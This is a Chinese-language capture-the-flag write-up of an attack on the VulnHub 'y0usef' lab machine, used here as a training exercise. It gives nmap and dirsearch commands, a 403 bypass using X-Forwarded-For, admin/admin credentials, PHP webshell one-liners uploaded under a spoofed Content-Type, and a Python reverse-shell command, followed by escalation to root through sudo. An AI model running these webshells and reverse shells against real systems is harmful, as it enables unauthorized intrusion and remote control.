打靶记录——y0usef

靶机地址

https://download.vulnhub.com/y0usef/y0usef.ova

目标

  • 取得root权限+2个flag

涉及的攻击方法

  • 主机发现
  • 端口扫描
  • Web信息收集
  • 指纹探测
  • 403 Bypass
  • 文件上传
  • 提权

主机扫描

nmap -sn 192.168.0.0/24

d2b5ca33bd20240809131645

192.168.0.102就是靶机地址

端口扫描和服务发现

nmap -p- 192.168.0.102发现只开放了22端口和80端口

d2b5ca33bd20240809131742

nmap -p22,80 -sV -sC 192.168.0.102

  • -sC 参数告诉nmap在扫描过程中使用默认的脚本进行扫描,这些脚本可以探测和利用主机的各种服务和漏洞。

d2b5ca33bd20240809131940

发现操作系统可能是Ubantu,HTTP服务是Apache

浏览器直接访问80端口的Web页面看看,robots.txt/admin/login都没有发现

d2b5ca33bd20240809131955

d2b5ca33bd20240809132032

Ctrl + U 查看网站源代码,没发现有价值的东西

d2b5ca33bd20240809132049

信息收集

whatweb进行指纹信息搜集

whatweb http://192.168.0.102,如果看这些组件的版本,发现存在历史漏洞的话就可以尝试利用了

d2b5ca33bd20240809132106

dirsearch -u http://192.168.0.102扫描一下目录

d2b5ca33bd20240809132122

访问那个302跳转的页面出现403,服务器拒绝访问

d2b5ca33bd20240809132136

抓包发现一下信息,和nmap探测到的差不多

d2b5ca33bd20240809132151

作为渗透者(白帽黑客),看到403的时候,不要直接放弃,我们可以做一个403 Bypass

如果目标系统使用的是基于URL访问路径来进行权限的限制的话,那么可以通过“覆盖URL”的方法有可能绕过403权限限制,使用一些HTTP头部

  • X-Original-URL:
  • X-Rewrite-URL:
  • Referer:
  • X-Originating-IP: 127.0.0.1
  • X-Remote-IP: 127.0.0.1
  • X–Forwarded-For: 127.0.0.1

在HTTP请求头部添加X-Forwarded-For: 127.0.0.1,让服务器认为是自己请求自己,就不会做限制了

d2b5ca33bd20240809132218

成功返回一个登录的表单的页面

d2b5ca33bd20240809132238

那我们第一反应就是尝试弱口令,admin/admin,提交时记得加上X-Forwarded-For: 127.0.0.1

d2b5ca33bd20240809132256

点击Upload File,发现一线曙光,可以上传文件

d2b5ca33bd20240809132309

文件上传常见绕过方法:

  • 文件扩展名
  • 文件类型
  • 在数据段位置添加真实的图片的头部信息,将PHP的Webshell附加到图片数据的最后部分

准备一个一句话木马的Webshell:

  1. <?php eval($_GET[1]);?>
  2. <?php $var=shell_exec($_GET['cmd']); echo $var ?>

点击上传之后,修改Content-Type: image/png

d2b5ca33bd20240809132327

获得Web的路径

d2b5ca33bd20240809132340

访问一下192.168.0.102/adminstration/upload/files/1723112552shell.php让服务器解析我们的Webshell,记得加上X-Forwarded-For: 127.0.0.1

d2b5ca33bd20240809132405

在URL后面加上?cmd=id成功执行命令

d2b5ca33bd20240809132424

反弹shell

?cmd=which%20python查看是否有Python

d2b5ca33bd20240809132438

python -c 'import os,subprocess,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.103",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

d2b5ca33bd20240809132459

然后可以用python -c "import pty; pty.spawn('/bin/bash')"升级一下shell,让它更具有交互性

提权

查看用户文件cat /etc/passwd,看见yousef用户

d2b5ca33bd20240809132522

cd /home/home目录看一下,查看第一个flagBase64编码,解码发现ssh的登录账号密码

d2b5ca33bd20240809132536

ssh : 
user : yousef 
pass : yousef123

直接尝试登录成功

d2b5ca33bd20240809132643

sudo -l发现可以以root账号执行所有命令,直接sudo su切换成root账号

d2b5ca33bd20240809132700

Base64解码第二个flag

d2b5ca33bd20240809132713

d2b5ca33bd20240809132735

总结

  • 主机发现,端口扫描
  • 针对Web服务进行信息收集,查看源码,爆破路径
  • 针对adminstration的路径进行403 Bypass绕过目标服务器的检查和限制,成功访问到这个URL
  • 发现后台登录的页面存在弱口令admin/admin
  • 发现文件上传漏洞,通过Content-Type:绕过目标服务器对文件上传的过滤机制
  • 利用上传的Webshell进行反弹shell,提权
  • 发现yousef账号,通过第一个flag获得SSH登录账号密码
  • 登录yousef账号后,发现它的sudo配置文件不严导致可以直接提权,切换成root账号

学习记录:

  • 虽然这台靶机的漏洞类型的难度并没有那么的高,但是文件上传漏洞以及403 Bypass这种攻击方法都是我们在日常的渗透测试工作过程当中最经常使用的技术手段,一定要把这些最常用的攻击手段很好的掌握,掌握到熟练的程度,这样其实对我们日常工作的实际性帮助反倒会更大,因为很多高难度的漏洞类型虽然技术含量很高,可以学到更多的技术性的东西,但是在真实的渗透测试的过程当中,遇到一个高难度级别的漏洞的目标系统的概率性很小,所以很多时候你掌握了很多高难度级别漏洞的挖掘方法,并不代表你真实的的工作表现会更好,反倒是我们把这些最常遇到的、经常出现的漏洞类型掌握很好之后,往往可能在日常的工作过程中更能让你取得相应的工作成果,所以往往可能对你的工作发展以及个人能力的体现是更有价值的一件事情。
© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 共1条

请登录后发表评论

    请登录后查看评论内容